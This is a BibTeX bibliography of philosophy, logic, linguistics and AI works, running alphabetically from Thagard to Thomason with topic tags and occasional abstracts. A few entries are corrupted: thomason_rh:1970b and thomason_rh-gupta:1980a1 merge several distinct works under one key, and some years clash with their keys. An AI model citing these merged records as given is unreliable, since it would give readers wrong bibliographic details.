Thagard}, + title = {Coherence in Thought and Action}, + publisher = {The {MIT} Press}, + year = {2000}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-20131-3}, + topic = {coherence;philosophy-of-mind;constraint-satisfaction; + foundations-of-cognitive-science;} + } + +@article{ thalberg:1962a, + author = {Irving Thalberg}, + title = {Abilities and Ifs}, + journal = {Analysis}, + year = {1962}, + volume = {22}, + pages = {121--126}, + missinginfo = {number}, + topic = {ability;conditionals;JL-Austin;} + } + +@article{ thalberg:1962b, + author = {Irving Thalberg}, + title = {Natural Expressions of Emotion}, + journal = {Philosophy and Phenomenological Research}, + year = {1962}, + volume = {22}, + pages = {382--392}, + missinginfo = {number}, + topic = {emotion;speech-acts;pragmatics;} + } + +@article{ thalberg:1964a, + author = {Irving Thalberg}, + title = {Freedom of Action and Freedom of Will}, + journal = {Journal of Philosophy}, + year = {1964}, + volume = {62}, + number = {20}, + pages = {405--415}, + topic = {action;freedom;volition;} + } + +@article{ thalberg:1967a, + author = {Irving Thalberg}, + title = {Do We Cause Our Own Actions?}, + journal = {Analysis}, + year = {1967}, + volume = {27}, + pages = {196--201}, + missinginfo = {number}, + topic = {action;philosophy-of-action;causality;} + } + +@incollection{ thalberg:1969a, + author = {Irving Thalberg}, + title = {Austin on Abilities}, + booktitle = {Symposium on {J}.{L}. {A}ustin}, + publisher = {Routledge and Kegan Paul}, + year = {1969}, + editor = {K.T. Fann}, + pages = {182--204}, + address = {London}, + missinginfo = {E's 1st name}, + topic = {JL-Austin;ability;conditionals;} + } + +@article{ thalberg:1978a, + author = {Irving Thalberg}, + title = {The Irreducibility of Events}, + journal = {Analysis}, + year = {1978}, + volume = {38}, + number = {1}, + pages = {1--9}, + xref = {See feldman_rh-wierenga:1979a for comment.}, + topic = {events;} + } + +@book{ thaler_r:1991a, + author = {Richard H. Thaler}, + title = {Quasi-Rational Economics}, + publisher = {Russell Sage Foundation}, + year = {1991}, + address = {New York}, + topic = {foundations-of-decision-theory;} + } + +@inproceedings{ thalos:1998a, + author = {Mariam Thalos}, + title = {Units of Decision}, + booktitle = {{PSA}98: Proceedings of the Biennial Meeting of the + Philosophy of Science Association, Part 1: Contributed + Papers}, + year = {1998}, + editor = {Don A. Howard}, + missinginfo = {pages = {324--}}, + organization = {Philosophy of Science Association}, + publisher = {University of Chicago Press}, + address = {Chicago, Illinois}, + topic = {decision-theory;foundations-of-decision-theory;} + } + +@article{ tharp:1971a, + author = {Leslie H. Tharp}, + title = {Truth, Quantification and Abstract Objects}, + journal = {No\^us}, + year = {1971}, + volume = {5}, + number = {4}, + pages = {363--372}, + topic = {truth-definitions;substitutional-quantification;} + } + +@book{ thart-etal:1990a, + author = {Johan t'Hart and Ren\'e Collier and Antonie Cohen}, + title = {A Perceptual Study of Intonation: An Experimental-Phonetic + Approach to Speech Melody}, + publisher = {Cambridge University Press}, + address = {Cambridge, England}, + year = {1990}, + ISBN = {0521366437}, + topic = {intonation;} + } + +@book{ thayer-dorfman:1990a, + editor = {Richard H. Thayer and Merlin Dorfman}, + title = {System and Software Requirements Engineering}, + publisher = {IEEE Computer Society Press}, + year = {1990}, + address = {Los Alamitos, California}, + ISBN = {0818689218}, + topic = {software-engineering;} + } + +@book{ thayse:1991a, + editor = {Andr\'e Thayse}, + title = {From Natural Language Processing to Logic for Expert + Systems : A Logic Based Approach to Artificial Intelligence}, + publisher = {John Wiley and Sons}, + year = {1991}, + address = {New York}, + ISBN = {0471924318}, + topic = {AI-intro;} + } + +@unpublished{ thecyclists:1991a, + author = {The Cyclists}, + title = {The {ZUE} Portable Interface for {CYC}}, + year = {1991}, + note = {Unpublished manuscript, Microelectronics and Computer Technology + Corporation}, + topic = {CYC;} + } + +@inproceedings{ theune:1997a, + author = {Mari\"et Theune}, + title = {Contrastive Accent in Data-to-Speech System}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {519--521}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {contrastive-stress;speech-generation;} + } + +@incollection{ thiele:1991a, + author = {Helmut Thiele}, + title = {On Generation of Cumulative Inference Operators by Default + Deduction Rules}, + booktitle = {Nonmonotonic and Inductive Logics}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {J\"urgen Dix and Klaus P. Jantke and P.H. Schmidt}, + pages = {100--137}, + address = {Berlin}, + missinginfo = {E's 1st name.}, + topic = {nonmonotonic-logic;default-logic;cumulativity;} + } + +@article{ thielen:1999a, + author = {Christine Thielen}, + title = {Review of {\it Turning a Bilingual Dictionary + into a Lexical-Semantic Database}, by {T}hierry {F}ontentelle}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {25}, + number = {3}, + pages = {447--449}, + topic = {multilingual-lexicons;} + } + +@article{ thielscher:1993a, + author = {Michael Thielscher}, + title = {On Prediction in Theorist}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {60}, + number = {2}, + pages = {283--292}, + acontentnote = {Abstract: + Theorist is a well-known framework and system for nonmonotonic + reasoning which provides mechanisms for dealing with both + explanations for observations and skeptical prediction. Its + current implementation, developed by David Poole and co-workers, + uses an algorithm for prediction which holds for a restricted + part of Theorist. In more general cases, the system produces + incorrect results in the case of prediction. In this note, we + present an algorithm for prediction which is shown to be correct + within the entire Theorist framework.}, + topic = {nonmonotonic-reasoning;hypothesis-generation;} + } + +@inproceedings{ thielscher:1995a, + author = {Michael Thielscher}, + title = {Computing Ramifications by Postprocessing}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1994--2000}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {ramification-problem;} + } + +@inproceedings{ thielscher:1995b, + author = {Michael Thielscher}, + title = {The Logic of Dynamic Systems}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1956--1962}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {concurrent-actions;nondeterministic-action;} + } + +@incollection{ thielscher:1996a, + author = {Michael Thielscher}, + title = {Causality and the Qualification Problem}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {51--62}, + address = {San Francisco, California}, + topic = {kr;causality;qualification-problem;kr-course;} + } + +@article{ thielscher:1997a, + author = {Michael Thielscher}, + title = {Ramification and Causality}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {89}, + number = {1--2}, + pages = {317--364}, + topic = {action-formalisms;temporal-reasoning;ramification-problem; + causality;} + } + +@inproceedings{ thielscher:1998a, + author = {Michael Thielscher}, + title = {Towards a Logic for Causal Reasoning}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Prospects for a Commonsense Theory of Causation}, + year = {1998}, + organization = {American Association for Artificial Intelligence}, + publication = {American Association for Artificial Intelligence}, + address = {Menlo Park, CA}, + editor = {Charles L. {Ortiz, Jr.}}, + pages = {101--106}, + topic = {causality;temporal-reasoning;planning-formalisms; + nonmonotonic-reasoning;} + } + +@incollection{ thielscher:1998b, + author = {Michael Thielscher}, + title = {How (Not) to Minimize Events}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {60--71}, + address = {San Francisco, California}, + topic = {kr;narrative-understanding;temporal-reasoning;kr-course;} + } + +@article{ thielscher:1998c, + author = {Michael Thielscher}, + title = {Reasoning about Actions: Steady Versus Stabilizing + State Constraints}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {104}, + number = {1--2}, + pages = {339--355}, + topic = {temporal-reasoning;causality;action-formalisms; + ramification-problem;} + } + +@book{ thielscher:1999a, + editor = {Michael Thielscher}, + title = {Proceedings of the {IJCAI}-99 Workshop on + Nonmonotonic Reasoning, Action and Change}, + publisher = {International Joint Conference on Artificial Intelligence}, + year = {1999}, + address = {Murray Hill, New Jersey}, + topic = {action-formalisms;} + } + +@article{ thielscher:1999b, + author = {Michael Thielscher}, + title = {From Situation Calculus to Fluent Calculus: State + Update Axioms as a Solution to the Inferential Frame + Problem}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {111}, + number = {1--2}, + pages = {277--299}, + topic = {frame-problem;action-formalisms;} + } + +@inproceedings{ thielscher:2000a, + author = {Michael Thielscher}, + title = {Representing the Knowledge of a Robot}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {109--120}, + topic = {epistemic-logic;sensing-actions;sensing-formalisms;} + } + +@book{ thielscher:2000b, + author = {Michael Thielscher}, + title = {Challenges For Action Theories}, + publisher = {Springer-Verlag}, + year = {2000}, + address = {Berlin}, + ISBN = {3540674551 (pbk.)}, + topic = {action-formalisms;} + } + +@article{ thielscher:2001a, + author = {Michael Thielscher}, + title = {The Qualification Problem: A Solution to the Problem of + Anomalous Models}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {131}, + number = {1--2}, + pages = {1--37}, + topic = {qualification-problem;nonmonotonic-reasoning; + action-formalisms;Yale-shooting-problem;} + } + +@incollection{ thielscher:2002a, + author = {Michael Thielscher}, + title = {Programming of Reasoning and Planning Agents with {FLUX}}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {435--448}, + address = {San Francisco, California}, + topic = {kr;planning-algorithms;} + } + +@inproceedings{ thienot:1999a, + author = {Cedric Thienot}, + title = {Intuitive Reasoning with Pseudo-Intuitionistic + Semantics}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Practical Reasoning and Rationality}, + year = {1999}, + editor = {John Bell}, + pages = {39--47}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {reasoning-about-uncertainty;intuitionistic-logic;} + } + +@phdthesis{ thijsse:1992a, + author = {Elias Thijsse}, + title = {On Partial Logic and Knowledge Representation}, + school = {Tilburg University}, + year = {1992}, + type = {Ph.{D}. Dissertation}, + address = {Delft}, + topic = {partial-logic;kr;logic-in-AI;} + } + +@incollection{ thijsse:1993b, + author = {Elias Thijsse}, + title = {On Total Awareness Logics}, + booktitle = {Diamonds and Defaults}, + publisher = {Kluwer Academic Publishers}, + editor = {Maarten de Rijke}, + year = {1993}, + pages = {309--347}, + address = {Dordrecht}, + topic = {propositional-attitudes;epistemic-logic;resource-limited-reasoning; + hyperintensionality;} + } + +@book{ thimbleby-etal:1997a, + editor = {H. Thimbleby and B. O'Conaill and P.J. Thomas}, + title = {People and Computers {XII}: Proceedings of {HCI}'97}, + publisher = {Springer-Verlag}, + year = {1997}, + address = {Berlin}, + ISBN = {3540761721 (pbk.)}, + topic = {HCI;} + } + +@techreport{ thirunarayan:1991a, + author = {Krishnaprasad Thirunarayan}, + title = {Implementation of an Efficient Inheritance Reasoner}, + institution = {Department of Computer Science, Wayne State + University}, + number = {WSU--CS--91--04}, + year = {1991}, + topic = {inheritance-reasoning;} + } + +@book{ thistlewaite-etal:1988a, + author = {P.B. Thistlewaite and M.A. McRobbie and R.K. Meyer}, + title = {Automated Theorem-Proving in Non-Classical Logics}, + publisher = {Pitman}, + year = {1988}, + address = {London}, + missinginfo = {A's 1st name}, + topic = {theorem-proving;relevance-logic;} + } + +@incollection{ thoene-etal:1991a, + author = {H. Th\"one and U. G\"untzer and W. Kie{\ss}ling}, + title = {Probabilistic Reasoning with Facts and Rules in Deductive + Databases}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {333--337}, + address = {Berlin}, + topic = {probabilistic-reasoning;databases;} + } + +@book{ thom:1975a, + author = {Ren\'e Thom}, + title = {Structural Stability and Morphogenesis: An Outline of + a General Theory of Models}, + publisher = {W. A. Benjamin}, + year = {1975}, + address = {Reading, Massachusetts}, + ISBN = {08053927690805392777 (pbk.)}, + note = {Translated from the French ed., as updated by the + author, by D. H. Fowler. With a foreword by C. H. Waddington.}, + topic = {topology;mathematics-of-biology;} + } + +@article{ thomas_g:1964a, + author = {George Thomas}, + title = {Abilities and Physiology}, + journal = {The Journal of Philosophy}, + year = {1964}, + volume = {62}, + number = {11}, + pages = {321--328}, + topic = {ability;dispositions;} + } + +@incollection{ thomas_i-etal:1998a, + author = {Ian Thomas and Ingrid Zuckerman and Bhavani Raskutti}, + title = {Extracting Phoneme Pronunciation Information from + Corpora}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {175--183}, + address = {Somerset, New Jersey}, + topic = {speech-generation;corpus-linguistics;} + } + +@book{ thomas_jc-schneider_ml:1984a, + editor = {John C. Thomas and Michael L. Schneider}, + title = {Human Factors in Computer Systems}, + publisher = {Ablex Pub. Corp.}, + year = {1984}, + address = {Norwood, New Jersey}, + ISBN = {0893911461}, + topic = {HCI;} + } + +@book{ thomas_l-chundi:1999a, + author = {Lee Thomas and Stephen Chundi}, + title = {The {E}nglish Language: An Owner's Manual}, + publisher = {Allyn and Bacon}, + year = {1999}, + address = {New York}, + contentnote = {Sort of an intro for English/Communication types.}, + topic = {English-Language;linguistics-intro;} + } + +@book{ thomas_p-etal:1988a, + author = {Pete Thomas and Hugh Robinson and Judy Emms}, + title = {Abstract Data Types: Their Specification, Representation, + and Use}, + publisher = {Oxford University Press}, + year = {1988}, + address = {Oxford}, + ISBN = {0198596634}, + topic = {abstraact-data-types;} + } + +@book{ thomas_pj:1995a, + editor = {Peter J. Thomas}, + title = {The Social and Interactional Dimensions of Human-Computer + Interfaces}, + publisher = {Cambridge University Press}, + year = {1995}, + address = {Cambridge, England}, + ISBN = {052145302X}, + topic = {HCI;} + } + +@article{ thomason_rh:1969a, + author = {Richmond H. Thomason}, + title = {A Semantical Study of Constructible Falsity}, + journal = {Zeitschrift f\"{u}r Mathematische Logik und Grundlagen der + Mathematik}, + year = {1969}, + volume = {15}, + pages = {247--257}, + missinginfo = {number}, + topic = {constructive-falsity;completeness-theorems;} + } + +@article{ thomason_rh:1970b, + author = {Richmond H. Thomason}, + title = {Indeterminist Time and Truth-Value Gaps}, + journal = {Theoria}, + year = {1970}, + volume = {36}, + pages = {246--281}, + missinginfo = {number}, + title = {Some Completeness Results for Modal Predicate + Calculi}, + booktitle = {Recent Developments in Philosophical Problems in Logic}, + publisher = {D. Reidel}, + year = {1970}, + editor = {Karel Lambert}, + pages = {20--40}, + address = {Dordrecht}, + topic = {quantifying-in-modality;modal-logic;completeness-theorems;} + } + +@article{ thomason_rh-stalnaker:1970a, + author = {Richmond H. Thomason and Robert C. Stalnaker}, + title = {A Semantic Analysis of Conditional Logic}, + journal = {Theoria}, + year = {1970}, + volume = {36}, + pages = {23--42}, + missinginfo = {number}, + topic = {conditionals;} + } + +@article{ thomason_rh:1972a, + author = {Richmond H. Thomason}, + title = {A Semantic Theory of Sortal Incorrectness}, + journal = {Journal of Philosophical Logic}, + year = {1972}, + volume = {2}, + number = {2}, + pages = {209--258}, + topic = {sortal-incorrectness;truth-value-gaps;} + } + +@article{ thomason_rh:1972b, + author = {Richmond H. Thomason}, + title = {Review of {Linguistic Behaviour}, by {J}onathan {B}ennett}, + journal = {Synth\'ese}, + year = {1978}, + volume = {39}, + pages = {141--154}, + xref = {Review of bennett_j:1976a.}, + topic = {philosophy-or-language;semantics;speaker-meaning;Grice; + convention;} + } + +@incollection{ thomason_rh:1973a, + author = {Richmond H. Thomason}, + title = {Perception and Individuation}, + booktitle = {Logic and Ontology}, + publisher = {New York University Press}, + year = {1973}, + editor = {Milton K. Munitz}, + pages = {261--285}, + address = {New York}, + topic = {logic-of-perception;} + } + +@incollection{ thomason_rh:1973b, + author = {Richmond H. Thomason}, + title = {Philosophy and Formal Semantics}, + booktitle = {Truth, Syntax and Modality}, + publisher = {North-Holland}, + year = {1973}, + editor = {Hugues Leblanc}, + pages = {294--307}, + address = {Amsterdam}, + topic = {philosophy-of-language;} + } + +@article{ thomason_rh-stalnaker:1973a, + author = {Richmond H. Thomason and Robert C. Stalnaker}, + title = {A Semantic Theory of Adverbs}, + journal = {Linguistic Inquiry}, + year = {1973}, + volume = {4}, + pages = {195-220}, + missinginfo = {number}, + topic = {adverbs;nl-semantics;} + } + +@incollection{ thomason_rh:1974a, + author = {Richmond H. Thomason}, + title = {Introduction}, + booktitle = {Formal Philosophy: Selected Papers of {R}ichard {M}ontague}, + publisher = {Yale University Press}, + year = {1974}, + editor = {Richmond H. Thomason}, + pages = {1--69}, + address = {New Haven, Connecticut}, + topic = {nl-semantics;montague-grammar;} + } + +@incollection{ thomason_rh:1976a, + author = {Richmond H. Thomason}, + title = {Necessity, Quotation, and Truth: An Indexical Theory}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {119--138}, + address = {Dordrecht}, + topic = {indexicals;context;truth;direct-discourse; + direct-discourse;pragmatics;} + } + +@incollection{ thomason_rh:1976b, + author = {Richmond H. Thomason}, + title = {Some Extensions of {M}ontague Grammar}, + booktitle = {Montague Grammar}, + publisher = {Academic Press}, + year = {1976}, + editor = {Barbara H. Partee}, + pages = {77--117}, + address = {New York}, + topic = {Montague-grammar;nl-semantics;} + } + +@article{ thomason_rh:1977a, + author = {Richmond H. Thomason}, + title = {Indirect Discourse Is not Quotational}, + journal = {The Monist}, + year = {1977}, + volume = {60}, + pages = {340--354}, + missinginfo = {number}, + topic = {indirect-discourse;direct-discourse;} + } + +@incollection{ thomason_rh:1978a, + author = {Richmond H. Thomason}, + title = {Home Is Where the Heart Is}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein}, + pages = {209--219}, + address = {Minneapolis}, + topic = {measures;nl-semantics;individual-concepts; + Montague-grammar;} + } + +@article{ thomason_rh:1980a, + author = {Richmond H. Thomason}, + title = {A Model Theory for Propositional Attitudes}, + journal = {Linguistics and Philosophy}, + year = {1980}, + volume = {4}, + pages = {47--70}, + topic = {propositional-attitudes;foundations-of-semantics; + hyperintensionality;intensional-logic;} + } + +@article{ thomason_rh:1980b, + author = {Richmond Thomason}, + title = {A Note on Syntactic Treatments of Modality}, + journal = {Synth\'ese}, + year = {1980}, + volume = {44}, + pages = {391--395}, + missinginfo = {number}, + topic = {syntactic-attitudes;diagonalization-arguments;belief;} + } + +@article{ thomason_rh-gupta:1980a1, + author = {Richmond Thomason and Anil Gupta}, + title = {A Theory of Conditionals in the Context of Branching Time}, + journal = {The Philosophical Review}, + year = {1980}, + volume = {80}, + pages = {65--90}, + xref = {Republication: thomason_rh-gupta:1980a2.}, + title = {A Theory of Conditionals in the Context of Branching Time}, + booktitle = {Ifs: Conditionals, Belief, Decision, Chance, and Time}, + publisher = {D. Reidel Publishing Co.}, + year = {1981}, + editor = {William L. Harper and Robert Stalnaker and Glenn Pearce}, + pages = {229--322}, + address = {Dordrecht}, + xref = {Republication of thomason_rh-gupta:1980a1.}, + title = {Deontic Logic and the Role of Freedom in Moral Deliberation}, + booktitle = {New Studies in Deontic Logic}, + publisher = {D. Reidel Publishing Company}, + year = {1981}, + editor = {Risto Hilpinen}, + pages = {153--162}, + address = {Dordrecht}, + title = {Deontic Logic as Founded on Tense Logic}, + booktitle = {New Studies in Deontic Logic}, + publisher = {D. Reidel Publishing Company}, + year = {1981}, + editor = {Risto Hilpinen}, + pages = {165--176}, + address = {Dordrecht}, + title = {Deontic Logic and the Role of Freedom in + Moral Deliberation}, + booktitle = {New Studies in Deontic Logic}, + publisher = {D. Reidel Publishing Company}, + address = {Dordrecht}, + year = {1981}, + editor = {Risto Hilpinen}, + pages = {177--186}, + topic = {deontic-logic;branching-time;} + } + +@unpublished{ thomason_rh:1981d, + author = {Richmond H. Thomason}, + title = {Notes on Completeness Problems with Historical Necessity}, + year = {1981}, + note = {Unpublished manuscript, Pittsburgh, Pennsylvania.}, + topic = {branching-time;completeness-theorems;} + } + +@article{ thomason_rh:1982a, + author = {Richmond H. Thomason}, + title = {Identity and Vagueness}, + journal = {Philosophical Studies}, + year = {1982}, + volume = {42}, + pages = {329--332}, + topic = {identity;vagueness;} + } + +@unpublished{ thomason_rh:1982b, + author = {Richmond H. Thomason}, + title = {Counterfactuals and Temporal Direction}, + year = {1982}, + note = {Unpublished manuscript, Pittsburgh, Pennsylvania.}, + topic = {conditionals;temporal-direction;} + } + +@incollection{ thomason_rh:1984a, + author = {Richmond H. Thomason}, + title = {Combinations of Tense and Modality}, + booktitle = {Handbook of Philosophical Logic, Volume {II}: + Extensions of Classical Logic}, + year = {1984}, + editor = {Dov Gabbay and Franz G\"unthner}, + publisher = {D. Reidel Publishing Co.}, + pages = {135--165}, + address = {Dordrecht}, + topic = {temporal-logic;modal-logic;} + } + +@article{ thomason_rh:1985a, + author = {Richmond H. Thomason}, + title = {Some Issues Concerning the Interpretation of + Derived and Gerundive Nominals}, + journal = {Linguistics and Philosophy}, + year = {1985}, + volume = {8}, + number = {1}, + pages = {73--80}, + topic = {nl-semantics;evants;nominalization;} + } + +@inproceedings{ thomason_rh:1986a, + author = {Richmond H. Thomason}, + title = {Paradoxes and Semantic Representation}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the First Conference}, + year = {1986}, + editor = {Joseph Y. Halpern}, + pages = {225--239}, + publisher = {Morgan Kaufmann Publishers, Inc.}, + address = {Los Altos, California}, + topic = {syntactic-reflection;epistemic-logic;semantic-paradoxes;} + } + +@incollection{ thomason_rh:1986b, + author = {Richmond H. Thomason}, + title = {The Context-Sensitivity of Belief and Desire}, + booktitle = {Reasoning about Actions and Plans}, + publisher = {Morgan Kaufmann}, + year = {1986}, + editor = {Michael P. Georgeff and Amy Lansky}, + pages = {341--360}, + address = {Los Altos, California}, + topic = {philosophy-of-belief;belief;utility;context;} + } + +@techreport{ thomason_rh-etal:1986a, + author = {Richmond H. Thomason and John F. Horty and David S. Touretzky}, + title = {A Calculus For Inheritance in Monotonic Semantic Nets}, + institution = {Department of Computer Science, Carnegie Mellon + University}, + number = {CMU-CS-86-138}, + year = {1986}, + address = {Pittsburgh, Pennsylvania 15213}, + topic = {inheritance-theory;} + } + +@inproceedings{ thomason_rh-etal:1987a, + author = {Richmond H. Thomason and John F. Horty and David S. + Touretzky}, + title = {A Calculus for Inheritance in Monotonic Semantic Nets}, + booktitle = {Methodologies for Intelligent Systems: Proceedings of + the Sixth International Symposium}, + year = {1987}, + editor = {Z. Ras and M. Zemankova}, + pages = {280--287}, + publisher = {North-Holland}, + address = {Amsterdam}, + topic = {inheritance-theory;} + } + +@article{ thomason_rh:1988a1, + author = {Richmond H. Thomason}, + title = {Philosophical Logic and Artificial Intelligence}, + journal = {Journal of Philosophical Logic}, + year = {1988}, + volume = {17}, + number = {4}, + pages = {321--327}, + xref = {Republication: thomason_rh:1988a2.}, + topic = {philosophical-logic;logic-in-AI-survey;} + } + +@incollection{ thomason_rh:1988a2, + author = {Richmond H. Thomason}, + title = {Philosophical Logic and Artificial Intelligence}, + booktitle = {Philosophical Logic and Artificial Intelligence}, + publisher = {Kluwer Academic Publishers}, + year = {1989}, + editor = {Richmond H. Thomason}, + pages = {1--7}, + address = {Dordrecht}, + xref = {Republication of: thomason_rh:1988a1.}, + topic = {philosophical-logic;logic-in-AI-survey;} + } + +@incollection{ thomason_rh:1988b, + author = {Richmond H. Thomason}, + title = {Theories of Nonmonotonicity and Natural Language + Generics}, + booktitle = {Genericity in Natural Language: Proceedings of + the 1988 T\"ubingen Conference}, + publisher = {Seminar f\"ur Naturlich-Sprachliche + Systeme der Universit\"at T\"ubingen}, + year = {1988}, + editor = {Manfred Krifka}, + pages = {395--406}, + address = {T\"ubingen}, + topic = {generics;nonmonotonic-logic;} + } + +@book{ thomason_rh:1989a, + editor = {Richmond Thomason}, + title = {Philosophical Logic and Artificial Intelligence}, + publisher = {Kluwer Academic Publishers}, + year = {1988}, + address = {Dordrecht}, + topic = {philosophical-logic;logic-in-AI-survey;} + } + +@inproceedings{ thomason_rh:1989b, + author = {Richmond H. Thomason}, + title = {Completeness Proofs for Monotonic Nets With Relations and + Identity}, + booktitle = {Methodologies for Intelligent Systems}, + year = {1989}, + editor = {Zbigniew Ras}, + pages = {523--532}, + publisher = {North-Holland}, + address = {Amsterdam}, + topic = {inheritance-theory;} + } + +@incollection{ thomason_rh:1990a, + author = {Richmond Thomason}, + title = {Accommodation, Meaning, and Implicature: + Interdisciplinary Foundations for Pragmatics}, + booktitle = {Intentions in Communication}, + publisher = {MIT Press}, + year = {1990}, + editor = {Philip R. Cohen and Jerry Morgan and Martha Pollack}, + pages = {326--363}, + address = {Cambridge, Massachusetts}, + topic = {discourse;accommodation;implicature;pragmatics; + conversational-record;} + } + +@inproceedings{ thomason_rh:1990b, + author = {Richmond H. Thomason}, + title = {Propagating Epistemic Coordination Through Mutual + Defaults {I}}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Third Conference ({TARK} 1990)}, + year = {1990}, + editor = {Rohit Parikh}, + pages = {29--39}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {nonmonotonic-reasoning;mutual-beliefs;conversational-record; + nm-ling;communication-models;} + } + +@incollection{ thomason_rh-touretzky:1990c, + author = {Richmond H. Thomason and David S. Touretzky}, + title = {Inheritance Theory and Networks with Roles}, + booktitle = {Principles of Semantic Networks}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {John Sowa}, + pages = {231--266}, + address = {Los Altos, California}, + topic = {inheritance-theory;} + } + +@incollection{ thomason_rh:1991a, + author = {Richmond Thomason}, + title = {Logicism, Artificial Intelligence, and Common Sense: {J}ohn + {M}c{C}arthy's Program in Philosophical Perspective}, + booktitle = {Artificial Intelligence and Mathematical Theory of + Computation}, + publisher = {Academic Press}, + year = {1991}, + editor = {Vladimir Lifschitz}, + pages = {449--466}, + address = {San Diego}, + topic = {logicism;Mccarthy;} + } + +@inproceedings{ thomason_rh:1991b, + author = {Richmond H. Thomason}, + title = {A Semantic Analysis of Monotonic Inheritance With Roles + and Relations}, + booktitle = {Methodologies for Intelligent Systems: Proceedings of + the Sixth International Symposium}, + year = {1991}, + editor = {Z. Ras and M. Zemankova and M. Emrich}, + pages = {630--644}, + publisher = {North-Holland}, + address = {Amsterdam}, + topic = {inheritance-theory;} + } + +@inproceedings{ thomason_rh:1991c, + author = {Richmond H. Thomason}, + title = {Knowledge Representation and Knowledge of Words}, + booktitle = {Lexical Semantics and Knowledge Representation: + Proceedings of a Workshop Sponsored by the + Special Interest Group on the Lexicon of the Association for + Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + year = {1991}, + editor = {James Pustejovsky and Sabine Bergler}, + pages = {1--8}, + address = {Somerset, New Jersey}, + topic = {lexical-semantics;knowledge-representation;;} + } + +@incollection{ thomason_rh:1992a, + author = {Richmond H. Thomason}, + title = {{NETL} and Subsequent Path-Based Inheritance Theories}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {179--204}, + address = {Oxford}, + xref = {Also published in Computers and Mathematics with Applications; + vol. 23; 1992; 179--204}, + topic = {kr;inheritance-theory;kr-course;} + } + +@article{ thomason_rh-aronis:1992a, + author = {Richmond H. Thomason and John M. Aronis}, + title = {Hybridizing Nonmonotonic Inheritance With Theorem Proving}, + journal = {Annals of Mathematics and Artificial Intelligence}, + year = {1992}, + volume = {6}, + pages = {345--366}, + missinginfo = {number}, + topic = {inheritance-theory;} + } + +@incollection{ thomason_rh-touretzky:1992a, + author = {Richmond H. Thomason and David S. Touretzky}, + title = {Inheritance Theory and Networks With Roles}, + booktitle = {Principles of Semantic Networks}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {John F. Sowa}, + pages = {231--266}, + address = {San Mateo, California}, + topic = {inheritance-theory;} + } + +@inproceedings{ thomason_rh:1993a, + author = {Richmond H. Thomason}, + title = {Towards a Logical Theory of Practical Reasoning}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Reasoning about Mental States}, + year = {1993}, + organization = {American Association for Artificial Intelligence}, + address = {Menlo Park, CA}, + pages = {133--142}, + topic = {practical-reasoning;nonmonotonic-logic;deontic-logic; + qualitative-utility;} + } + +@unpublished{ thomason_rh:1995b, + author = {Richmond Thomason}, + title = {Logicism: Exact Philosophy, Linguistics, and + Artificial Intelligence}, + year = {1995}, + note = {Unpublished manuscript.}, + topic = {logicism;} + } + +@inproceedings{ thomason_rh-moore_j:1995a, + author = {Richmond Thomason and Johanna Moore}, + title = {Discourse Context}, + booktitle = {Working Notes of the {AAAI} Fall Symposium on + Formalizing Context}, + year = {1995}, + editor = {Sasha Buva\v{c}}, + organization = 